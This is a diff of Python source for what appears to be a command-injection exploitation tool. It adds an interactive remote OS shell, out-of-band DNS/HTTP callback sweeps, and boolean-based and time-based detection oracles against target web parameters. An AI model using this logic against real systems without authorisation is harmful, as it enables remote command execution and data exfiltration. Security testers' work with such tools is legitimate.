+ # already gone while it is still being served.
+ if checks.output_file_still_served():
+ warn_msg = "The file ('" + OUTPUT_TEXTFILE + "') is still being served by the target, so it "
+ warn_msg += "does not appear to have been deleted. Remove it by hand."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "The file ('" + OUTPUT_TEXTFILE + "') is no longer served by the target, so the "
+ debug_msg += "delete took."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ session_handler.mark_file_deleted(url, technique, vuln_parameter, http_request_method)
+ checks.forget_leftover_file(OUTPUT_TEXTFILE)
+
+
+"""
+The shared interactive shell loop, dispatching command execution through the given execute_cmd(cmd) callback.
+"""
+def pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, cleanup=lambda: None, on_found_declined=lambda: None, force_enter=False, separator=""):
+ try:
+ checks.alert()
+ go_back = False
+ go_back_again = False
+ while True:
+ if go_back is True:
+ break
+ # --os-shell opens later, at quit().
+ if force_enter:
+ gotshell = settings.CHOICE_YES[0]
+ else:
+ gotshell = settings.CHOICE_NO[0]
+ if menu.options.os_shell and settings.PENDING_OS_SHELL_ENTRY is None:
+ _register_os_shell_entry(lambda: pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, cleanup, on_found_declined, force_enter=True, separator=separator))
+ if gotshell in settings.CHOICE_YES:
+ settings.DETECTION_PHASE = False
+ settings.EXPLOITATION_PHASE = True
+ info_msg = "Enabling the command shell."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ settings.print_data_to_stdout(settings.OS_SHELL_TITLE)
+ info_msg = "Selected (default) mode: 'os_shell'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ if settings.READLINE_ERROR:
+ checks.no_readline_module()
+ while True:
+ if not settings.READLINE_ERROR:
+ checks.tab_autocompleter()
+ try:
+ # Trimmed before anything else: the tab completer leaves a space behind the word it
+ # completed, and that space would travel all the way into the payloads as part of the
+ # command - visible there, and read back as output the command never produced.
+ cmd = common.safe_input(settings.OS_SHELL).strip()
+ # An empty line asks for nothing, so it is answered with a fresh prompt - it used to be
+ # read as "switch to the mode you are already in", which only ever said so.
+ if len(cmd) == 0:
+ continue
+ cmd = checks.escaped_cmd(cmd)
+ if cmd.lower() in settings.SHELL_OPTIONS or cmd.lower().split(" ", 1)[0] in ("use", "download", "upload"):
+ if cmd.lower() == "quit" or cmd.lower() == "exit":
+ cleanup()
+ go_back, go_back_again = shell_options.check_option_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator)
+ if go_back and go_back_again is False:
+ break
+ if go_back and go_back_again:
+ return True
+ else:
+ # execute_cmd() itself is responsible for logging the executed command.
+ shell = execute_cmd(cmd)
+ if shell:
+ settings.command_execution_output(shell)
+ else:
+ err_msg = common.invalid_cmd_output(cmd)
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ if menu.options.abort_on_empty:
+ raise SystemExit(settings.EXIT_FAILURE)
+ except KeyboardInterrupt:
+ # Resume right back at the shell prompt - no need to re-ask to spawn one.
+ checks.handle_exploitation_interrupt(filename, url)
+ continue
+
+ elif gotshell in settings.CHOICE_NO:
+ # One combined question at the end, not per-technique.
+ if no_result:
+ return False
+ on_found_declined()
+ return True
+ elif gotshell in settings.CHOICE_QUIT:
+ cleanup()
+ checks.quit(filename, url, hard_exit=False)
+ else:
+ common.invalid_option(gotshell)
+ pass
+
+ except KeyboardInterrupt:
+ cleanup()
+ checks.handle_exploitation_interrupt(filename, url)
+ # Continue chosen - re-enter the shell fresh.
+ return pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, cleanup, on_found_declined=on_found_declined, separator=separator)
+
+ except SystemExit:
+ cleanup()
+ settings.print_data_to_stdout(settings.END_LINE.CR)
+ raise
+
+ except EOFError:
+ checks.EOFError_err_msg()
+ cleanup()
+ settings.print_data_to_stdout(settings.END_LINE.CR)
+ # Return False to stop searching after this combination was already reported.
+ return True
+
+# Open a shell on the target, carried by whichever technique proved the injection.
+def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response):
+ # Offer to remove whatever the technique left on the target before the run ends.
+ def cleanup():
+ # The file is on the target because the technique put it there, whatever the run then did with
+ # it - so the offer to remove it does not wait on '--os-shell' having been the thing asked for.
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ # Registered here, actually asked/run later at quit().
+ settings.PENDING_FILE_CLEANUPS[OUTPUT_TEXTFILE] = lambda: delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique)
+
+ # Registered on the way in, not only where the shell loop ends - a run that never opened one still
+ # put the file there, and the shell offer being declined is not a reason to leave it behind.
+ cleanup()
+
+ # Run one command through the confirmed injection point, reusing a stored answer where there is one.
+ def execute_cmd(cmd):
+ _stored_shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ if menu.options.ignore_session or not checks.usable_stored_cmd(_stored_shell):
+ shell = None
+ # Tried first, the created file read through whatever already tells this target's pages true
+ # from false - cheaper than the delay below and, unlike it, safe to ask for concurrently.
+ if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ from src.core.techniques.tempfile_based import tfb_handler as oracle_handler
+ shell = oracle_handler.oracle_extract(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG, cmd)
+ if shell is None:
+ time.sleep(timesec)
+ # The main command injection exploitation.
+ if settings.TIME_RELATED_ATTACK:
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique)
+ else:
+ check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ # Export injection result
+ checks.time_related_export_injection_results(cmd, separator, shell, check_exec_time)
+ else:
+ # Through the same reading every other command takes, so the form settled before the first
+ # one holds in the shell as well, and each command is run once.
+ def send(command):
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
+ response = injector.injection(separator, TAG, command, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique)
+ else:
+ response = injector.injection(separator, TAG, command, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique)
+ return injector.injection_results(response, TAG, command, technique, url, OUTPUT_TEXTFILE, timesec)
+ shell = execution.read_command_output(send, technique, cmd)
+ # Update logs with executed cmds and execution results.
+ logs.executed_command(filename, cmd, shell)
+ # Storing a known-incomplete result would serve it back as if it were the real output.
+ if shell and not menu.options.ignore_session and not settings.INCOMPLETE_OUTPUT:
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
+ else:
+ shell = _stored_shell
+ return shell
+
+ # The executor that reaches this point, kept for '--proof' to run its own experiment at the end.
+ # A technique that answers in time is given the boundary instead, so the proof can time one
+ # request of its own rather than the extraction wrapper built on top of it.
+ proof.register(technique, vuln_parameter, http_request_method, execute_cmd,
+ boundary=(separator, prefix, suffix, whitespace, url, timesec))
+
+ return pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, cleanup, separator=separator)
+
+"""
+Retry value-skip using the confirmed exploit's own delay signal.
+"""
+def probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix, TAG=None, OUTPUT_TEXTFILE=None):
+ if settings.TESTABLE_VALUE_OPTIMIZED or not settings.TESTABLE_VALUE:
+ return url, prefix
+ # Asked through the oracle where this boundary already has one calibrated - a plain yes/no costs
+ # nothing to wait for, where the delay-based probe below would otherwise be the first timed
+ # comparison of a run that never needed one anywhere else. The same question calibration already
+ # answered correctly, not a bare "1==1": that shape was never itself calibrated, and a page that
+ # only distinguishes true from false by what a file-read prints would read it as no answer at all.
+ oracle_probe = False
+ if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and TAG and OUTPUT_TEXTFILE:
+ from src.core.techniques.tempfile_based import tfb_handler as oracle_handler
+ oracle_probe = oracle_handler.oracle_active(url, vuln_parameter, separator)
+ if oracle_probe:
+ payload = checks.tempfile_based_payloads().oracle_decision(separator, TAG, len(TAG), OUTPUT_TEXTFILE, holds=True)
+ elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ payload = checks.time_based_payloads().condition_check(separator, "1 -eq 1", timesec, http_request_method)
+ else:
+ payload = checks.tempfile_based_payloads().condition_check(separator, "1 -eq 1", timesec, http_request_method)
+ if payload is None:
+ return url, prefix
+
+ marker = settings.TESTABLE_VALUE + settings.INJECT_TAG
+ in_data = bool(menu.options.data) and marker in menu.options.data
+ in_url = marker in url
+ if not in_data and not in_url:
+ return url, prefix
+
+ from src.core.requests import stability
+ placeholder = ''.join(random.choice(string.ascii_uppercase) for _ in range(3))
+ original_data = menu.options.data
+ original_url = url
+ original_value = settings.TESTABLE_VALUE
+ if in_data:
+ menu.options.data = menu.options.data.replace(marker, placeholder + settings.INJECT_TAG)
+ else:
+ url = url.replace(marker, placeholder + settings.INJECT_TAG)
+ settings.TESTABLE_VALUE = placeholder
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = ("Asking the oracle against" if oracle_probe else "Replaying the delay against") + \
+ " the random value '" + placeholder + "', to check if the real one is needed."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ """
+ Sent inside the boundary the finding was made with, not bare.
+
+ A separator breaks out of a shell on its own, so an empty prefix and suffix cost the command sink
+ nothing - but for an evaluation sink the boundary is the prefix and suffix, and without them the
+ payload lands in the string as text that is never evaluated. The probe then always reads "no
+ delay", and the optimisation it exists to make is never taken.
+ """
+ confirmed = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER)
+ probe_prefix, probe_suffix = (confirmed[0], confirmed[1]) if confirmed else ("", "")
+ try:
+ if oracle_probe:
+ from src.core.techniques.boolean_based import bb_injector
+ answer, _ = bb_injector.answer(payload, probe_prefix, probe_suffix, whitespace, http_request_method, url, vuln_parameter)
+ succeeded = answer is True
+ else:
+ before = stability.requests_sent()
+ exec_time, _, _, _, _ = requests.perform_injection(probe_prefix, probe_suffix, whitespace, payload, vuln_parameter, http_request_method, url)
+ succeeded = not stability.request_was_retried(before) and checks.time_related_shell(exec_time, timesec)
+ except Exception:
+ succeeded = False
+
+ if not succeeded:
+ menu.options.data = original_data
+ settings.TESTABLE_VALUE = original_value
+ return original_url, prefix
+
+ settings.TESTABLE_VALUE_OPTIMIZED = True
+ settings.TESTABLE_VALUE_STOOD_IN_FOR = original_value
+ session_handler.import_testable_value_status(url, vuln_parameter, http_request_method, placeholder)
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "The real parameter value is not required, so it is skipped for faster requests."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ """
+ Hand back the boundary itself, rather than nothing at all.
+
+ The caller's prefix still has the old value baked into it, so it cannot be kept - but an empty one
+ can only be right where the separator is what breaks in. An evaluation sink is reached through the
+ prefix, and dropping it leaves every payload after this sitting in the string as text.
+ """
+ return url, probe_prefix
+
+"""
+Fire every boundary/transport candidate without waiting, then poll once for the results.
+"""
+def do_oob_process(url, timesec, filename, http_request_method, injection_type, technique):
+
+ from src.core.techniques.oob import oob_payloads as payloads
+
+ channel = checks.init_oob_channel()
+ if channel is None:
+ return False
+
+ # Exploit the confirmed out-of-band boundary, once a client on the target has been found to reach back.
+ def _exploit(separator, prefix, suffix, whitespace, vuln_parameter, transport, TAG):
+ from src.core.techniques.oob import oob_injector as oob_inj
+ settings.OOB_TRANSPORT = transport
+ if not oob_inj.can_execute():
+ alternatives = payloads.exfiltration_alternatives(transport)
+ warn_msg = "Only the '" + transport + "' client reached the out-of-band server"
+ if alternatives:
+ warn_msg += " (" + ", ".join("'" + candidate + "'" for candidate in alternatives) + " did not)"
+ warn_msg += ", so the injection point is confirmed but its output cannot be retrieved. "
+ warn_msg += "Try '--oob-scheme' or an '--oob-server' the target can reach over HTTP(S)."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return True
+ cmd = maxlen = OUTPUT_TEXTFILE = ""
+ interpreter = menu.options.interpreter
+ _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique))
+ _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique))
+ _register_post_detection_action(lambda: registry_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique))
+ if menu.options.os_cmd:
+ # Run the command given with '--os-cmd', once, whichever technique got there first.
+ def _run_os_cmd():
+ if settings.OS_CMD_DONE:
+ return
+ settings.OS_CMD_DONE = True
+ settings.DETECTION_PHASE = False
+ settings.EXPLOITATION_PHASE = True
+ enumeration.single_os_cmd_exec(separator, "", TAG, menu.options.os_cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, "", interpreter, filename, 0, technique)
+ _register_post_detection_action(_run_os_cmd)
+ oob_pseudo_terminal_shell(separator, prefix, suffix, whitespace, vuln_parameter, http_request_method, url, filename, technique, transport)
+ return True
+
+ stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None
+ if stored_row:
+ try:
+ url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row)
+ url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix)
+ checks.check_for_stored_tamper(payload)
+ settings.OOB_STATE = True
+ settings.OOB_EVAL = payloads.is_eval(payload)
+ return _exploit(separator, prefix, suffix, settings.WHITESPACES[0], vuln_parameter, payloads.transport_of(payload), TAG)
+ except TypeError:
+ checks.error_loading_session_file()
+ except session_handler.StoredWebRootConflict:
+ pass
+
+ _announce_technique(injection_type, technique)
+
+ # A command sink first, then an evaluation sink - the channel proves either one.
+ if menu.options.eval_sink:
+ sinks = [(True, settings.INJECTION_TYPE.BLIND_CE, payloads.eval_prefixes(), settings.EVAL_SUFFIXES, settings.EVAL_SEPARATORS)]
+ else:
+ sinks = [(False, injection_type, settings.PREFIXES, settings.SUFFIXES, checks.chainable_separators(settings.SEPARATORS))]
+
+ for is_eval, sink_type, sink_prefixes, sink_suffixes, sink_separators in sinks:
+ settings.OOB_EVAL = is_eval
+ found = _oob_sweep(is_eval, sink_type, sink_prefixes, sink_suffixes, sink_separators,
+ url, timesec, filename, http_request_method, technique, channel, payloads, _exploit)
+ if found:
+ return found
+ settings.OOB_EVAL = False
+ # Every sink is exhausted, so close the progress line the way the other techniques do.
+ checks.injection_process(injection_type, technique, done=True)
+ return False
+
+# Try each boundary against the channel until one of them calls back.
+def _oob_sweep(is_eval, injection_type, prefixes, suffixes, separators, url, timesec, filename, http_request_method, technique, channel, payloads, _exploit):
+
+ checks.prime_whitespace_tampers()
+ whitespaces = settings.WHITESPACES
+ prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces)
+
+ transports = payloads.transports()
+
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Testing for out-of-band interactions on a unique hostname per payload."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+
+ TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
+ combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, grammar_separators=checks.grammar_separators()))
+ total = len(combinations) * len(transports)
+ i = 0
+
+ # Boundary-major, so that the first boundary that works reveals its transport at the same time,
+ # instead of paying a whole sweep to learn that the target has no curl.
+ fired = []
+ winner = None
+ for whitespace, prefix, suffix, separator in combinations:
+ # A confirmed point that nothing can be run through is kept, but the sweep goes on looking for
+ # one that can be - another boundary may well chain.
+ if winner is not None and _oob_usable(winner, payloads):
+ break
+ for transport in transports:
+ # The background poller may already have brought an earlier probe's interaction in, in which
+ # case the rest of the sweep is wasted requests. Checking costs nothing and never waits. Only
+ # an answer nothing can improve on stops the boundary, though - a name lookup that worked
+ # still leaves the HTTP clients worth a try, since they carry output back in one request.
+ if winner is not None and _oob_rank(winner, payloads) == OOB_RANK_BEST:
+ break
+ # Where the shell chains nothing, a client of ours never runs. A name lookup can still betray
+ # the point through the target's own command, but an HTTP client would only sit there waiting.
+ if not checks.separator_chains(separator) and payloads.required_protocol(transport) != "dns":
+ continue
+ bare_prefix = prefix
+ bare_suffix = suffix
+ probe_whitespace = whitespace
+ probe_prefix = prefix
+ settings.DETECTION_PHASE = True
+ settings.EXPLOITATION_PHASE = False
+ i = i + 1
+ if probe_prefix + separator in settings.JUNK_COMBINATION:
+ probe_prefix = ""
+ token, hostname = channel.new_payload()
+ expression, expected, prologue = payloads.proof(transport)
+ if is_eval:
+ payload = payloads.decision_eval(separator, transport, hostname, expression, prologue)
+ else:
+ payload = payloads.decision(separator, transport, hostname, expression, prologue)
+ try:
+ response, vuln_parameter, payload, probe_prefix, probe_suffix = oob_inject(probe_prefix, suffix, probe_whitespace, payload, "", http_request_method, url)
+ except KeyboardInterrupt:
+ checks.handle_detection_interrupt(filename, url)
+ except SystemExit:
+ raise
+ except Exception:
+ continue
+ fired.append((token, separator, probe_prefix, probe_suffix, probe_whitespace, bare_prefix, bare_suffix, vuln_parameter, payload, expected, transport))
+ checks.injection_process(injection_type, technique, done=False, i=i, total=total)
+ # The earliest combinations are the likeliest, so keep asking the server over the first few
+ # rather than sitting out the poll interval and firing the rest of the sweep for nothing. An
+ # interaction needs a moment to land, so one immediate poll would always be too early.
+ if len(fired) <= settings.OOB_EAGER_POLLS:
+ channel.poll_now()
+ winner = _oob_winner(fired, channel, payloads)
+
+ if not fired:
+ return False
+
+ # Every probe is already in flight, so one wait covers the whole sweep. A client that cannot carry
+ # output is settled for only once the wait is over, in case one that can is a moment behind it -
+ # unless no probe that could do better was fired at all, in which case there is nothing to wait for.
+ best_reachable = OOB_RANK_BEST
+ if not any(payloads.required_protocol(probe[10]) == "http" for probe in fired):
+ best_reachable = OOB_RANK_LOOKUP
+ deadline = time.time() + settings.OOB_TIMEOUT
+ while time.time() < deadline:
+ candidate = _oob_winner(fired, channel, payloads)
+ if candidate is not None and (winner is None or _oob_rank(candidate, payloads) >= _oob_rank(winner, payloads)):
+ winner = candidate
+ if winner is not None and _oob_rank(winner, payloads) >= best_reachable:
+ break
+ # Asked for every round: the idle interval would hold the answer back for seconds after it lands.
+ channel.poll_now()
+ time.sleep(settings.OOB_WAIT_POLL_INTERVAL)
+
+ if winner is None:
+ return False
+
+ token, separator, prefix, suffix, whitespace, bare_prefix, bare_suffix, vuln_parameter, payload, expected, transport = winner
+ # The boundary is settled, so the clients the sweep left out are worth one request each here -
+ # a single try on a boundary that works, rather than one on every boundary that might not.
+ if payloads.required_protocol(transport) == "dns":
+ upgrade = _oob_http_upgrade(is_eval, separator, prefix, suffix, whitespace, vuln_parameter, url, http_request_method, filename, channel, payloads)
+ if upgrade is not None:
+ transport, payload = upgrade
+ # Named now, so the finding is announced with the channel it came back over.
+ settings.OOB_TRANSPORT = transport
+ # Only where they were tried: a forced transport means nothing was learnt about the others.
+ tried = [] if menu.options.oob_transport else payloads.tried_http_clients()
+ # The finding itself already names the channel, so which clients led to it is a debug detail.
+ if settings.VERBOSITY_LEVEL != 0:
+ if payloads.required_protocol(transport) == "dns":
+ if tried:
+ debug_msg = "None of the HTTP(S) clients tried ("
+ debug_msg += ", ".join("'" + candidate + "'" for candidate in tried)
+ debug_msg += ") reached the out-of-band server, so the output comes back a label at a time."
+ settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg))
+ else:
+ debug_msg = "The '" + transport + "' client on the target reached the out-of-band server, "
+ debug_msg += "so the output of a command comes back whole."
+ settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg))
+
+ # Re-confirm with a fresh token, against a stray interaction.
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Re-confirming the injection point on a fresh hostname."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ for _ in range(settings.RESULTS_BASED_VERIFY_ROUNDS):
+ verify_token, verify_hostname = channel.new_payload()
+ verify_expression, verify_expected, verify_prologue = payloads.proof(transport)
+ if is_eval:
+ verify_payload = payloads.decision_eval(separator, transport, verify_hostname, verify_expression, verify_prologue)
+ else:
+ verify_payload = payloads.decision(separator, transport, verify_hostname, verify_expression, verify_prologue)
+ oob_inject(prefix, suffix, whitespace, verify_payload, vuln_parameter, http_request_method, url)
+ if not checks.oob_proof_holds(channel.wait_for(verify_token, settings.OOB_TIMEOUT,
+ protocol=payloads.required_protocol(transport)),
+ verify_expected):
+ checks.unexploitable_point()
+ return False
+
+ checks.injection_process(injection_type, technique, done=True)
+ checks.confirm_boundary(bare_prefix, bare_suffix, separator, whitespace)
+ checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, 1, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix))
+ session_handler.import_injection_points(url, technique, injection_type, filename, separator, True, vuln_parameter, prefix, suffix, TAG, menu.options.interpreter, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL)
+ return _exploit(separator, prefix, suffix, whitespace, vuln_parameter, transport, TAG)
+
+"""
+Try each boundary until one of them makes the page answer yes to a question it should, and no to one
+it should not.
+
+Two questions with known answers rather than one: a page that says yes to everything says nothing,
+and a boundary that never reached a shell at all would otherwise be read as a finding.
+"""
+def do_boolean_based_process(url, timesec, filename, http_request_method, injection_type, technique):
+
+ payloads = checks.boolean_based_payloads()
+ settings.BOOLEAN_PRINTED_STATE = False
+ from src.core.techniques.boolean_based import bb_injector as injector
+
+ # Registered once the boundary is settled, so the routes that run commands reach this technique.
+ def _exploit(separator, prefix, suffix, whitespace, vuln_parameter, TAG):
+ cmd = maxlen = OUTPUT_TEXTFILE = ""
+ interpreter = menu.options.interpreter
+ _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique))
+ _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique))
+ _register_post_detection_action(lambda: registry_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique))
+ if menu.options.os_cmd:
+ def _run_os_cmd():
+ if settings.OS_CMD_DONE:
+ return
+ settings.OS_CMD_DONE = True
+ enumeration.single_os_cmd_exec(separator, maxlen, TAG, menu.options.os_cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)
+ _register_post_detection_action(_run_os_cmd)
+ boolean_based_pseudo_terminal_shell(separator, prefix, suffix, whitespace, vuln_parameter, http_request_method, url, filename, technique)
+ return True
+
+ if menu.options.eval_sink:
+ prefixes, suffixes, separators = checks.eval_prefixes(), settings.EVAL_SUFFIXES, settings.EVAL_SEPARATORS
+ else:
+ prefixes, suffixes, separators = checks.sink_boundaries()
+ separators = checks.chainable_separators(separators)
+ checks.prime_whitespace_tampers()
+ whitespaces = settings.WHITESPACES
+ prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces)
+
+ TAG = ''.join(random.choice(string.ascii_uppercase) for _ in range(6))
+
+ # One boundary, asked both ways round and then once more - which way the page answers is all this
+ # technique reads, so a boundary that cannot answer both ways has not been shown to run anything.
+ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG):
+ payload = payloads.decision(separator, TAG, len(TAG), holds=True)
+ if not payload:
+ return None
+ vuln_parameter = ""
+ page_true, code_true, vuln_parameter, prefix, suffix, reported_payload = injector.page_of(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter)
+ page_false, code_false, vuln_parameter, prefix, suffix, _ = injector.page_of(payloads.decision(separator, TAG, len(TAG), holds=False), prefix, suffix, whitespace, http_request_method, url, vuln_parameter)
+ if not checks.boolean_oracle_given():
+ # A false answer that reads exactly like the page the parameter's own value returns means the
+ # payload changed nothing at all, whatever the two probes look like beside each other.
+ if not settings.BOOLEAN_PRINTED_STATE and checks.comparable_page(page_false or "") == checks.comparable_page(checks.comparison_baseline(url, http_request_method)):
+ return None
+ """
+ And a true answer that does not read like that page is the payload breaking the sink, not
+ answering through it. Where it does not parse, the interpreter prints its complaint instead,
+ and the false question draws another carrying different digits of this run's own - read as two
+ answers, that one error confirms a boundary nothing ever ran through.
+
+ Asked only of a payload that went in behind the parameter's own value. Standing in place of
+ it, the value is not there to be rendered and the page is not meant to read like the one it
+ returns: a sink replacing the whole of what it was given answered the true question with the
+ empty string the payload evaluates to, which is a page of its own rather than that one - and
+ the technique was refused on every boundary, including the ones that worked, while naming the
+ string by hand found it at once. What a broken payload leaves is still caught below, where
+ two answers that are one interpreter complaint carrying different digits are read as the one
+ error they are.
+ """
+ if not settings.BOOLEAN_PRINTED_STATE and not settings.REPLACE_VALUE and \
+ checks.comparable_page(page_true or "") != checks.comparable_page(checks.comparison_baseline(url, http_request_method)):
+ return None
+ """
+ What the page moves on its own, measured again where the run can actually see it.
+
+ It is looked for once when the target is first reached, from two samples of a request that
+ carries none of this - no cookie, no body, nothing in the parameter. A target that only runs
+ the command once it has one answers those two identically, nothing is recorded, and the
+ comparison everything below is read through goes on masking nothing at all. The same question
+ asked twice here is two answers that are meant to match, so whatever differs between them is
+ the page's own movement - learned before two answers that are meant to differ are weighed
+ against each other, rather than after a boundary has been confirmed on the strength of it.
+
+ Held back until the two answers in hand actually differ. A pair that comes back identical has
+ nothing to teach and nothing to get wrong, since the oracle reads it as no answer either way -
+ but spending the one sample on it leaves the movement unmeasured for the pair that does differ,
+ which is the only pair that can be taken for an answer it is not. On a target that runs the
+ command only once the payload reaches it, the early pairs are the ones where it never ran, and
+ what moves there - a timing the command prints, a counter - is on neither page to be found.
+ """
+ if not settings.DYNAMIC_MARKINGS and not settings.DYNAMIC_MARKINGS_RESAMPLED and \
+ checks.comparable_page(page_true or "") != checks.comparable_page(page_false or ""):
+ settings.DYNAMIC_MARKINGS_RESAMPLED = True
+ page_true_again = injector.page_of(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter)[0]
+ if page_true and page_true_again:
+ checks.find_dynamic_content(page_true, page_true_again)
+ # These two pages are what says which answer is which, so the target teaches the oracle first.
+ if not checks.calibrate_boolean_oracle(page_true, page_false, code_true, code_false):
+ return None
+ # Asked both ways round, because a page that says yes to anything is not answering the question.
+ if checks.boolean_oracle(page_true, code_true) is not True:
+ return None
+ if checks.boolean_oracle(page_false, code_false) is not False:
+ return None
+ # A true answer that comes back blocked while the false one is served is the protection talking,
+ # not the target - a real finding reproduces the page the parameter already returns.
+ if str(code_true) in settings.WAF_BLOCK_HTTP_CODES and str(code_false).isdigit() and int(code_false) < 400:
+ warn_msg = "The true and false answers differ only by a blocked HTTP " + str(code_true)
+ warn_msg += " against " + str(code_false) + ", which reads as a protection rather than an injection."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return None
+ # A boundary that answered both ways round is a candidate, and asking it once more is this
+ # technique's own false-positive test - left unannounced, since the parameter as a whole gets
+ # one such announcement of its own once every technique has had its turn.
+ # Asked once more, because a page that moves on its own can answer either way by itself.
+ again, _ = injector.answer(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter)
+ if again is not True:
+ checks.unexploitable_point()
+ return None
+ return reported_payload, vuln_parameter, prefix, suffix
+
+ """
+ A stored finding says where the injection is, but not what this target's pages look like - and
+ which way a page answers is the whole of the oracle here, calibrated against the target rather
+ than carried in the session. So the stored boundary is asked again, which costs a handful of
+ requests instead of the sweep, and teaches the oracle on the way.
+ """
+ stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None
+ if stored_row:
+ try:
+ url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row)
+ url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix)
+ checks.check_for_stored_tamper(payload)
+ settings.DETECTION_PHASE = True
+ settings.EXPLOITATION_PHASE = False
+ for printed in ((False,) if menu.options.eval_sink else (False, True)):
+ settings.BOOLEAN_PRINTED_STATE = printed
+ for whitespace, stored_prefix, stored_suffix, stored_separator in _boundary_combinations(whitespaces, [prefix], [suffix], [separator], grammar_separators=checks.grammar_separators()):
+ confirmed = _answers_both_ways(whitespace, stored_prefix, stored_suffix, stored_separator, TAG)
+ if confirmed:
+ _, vuln_parameter, sent_prefix, sent_suffix = confirmed
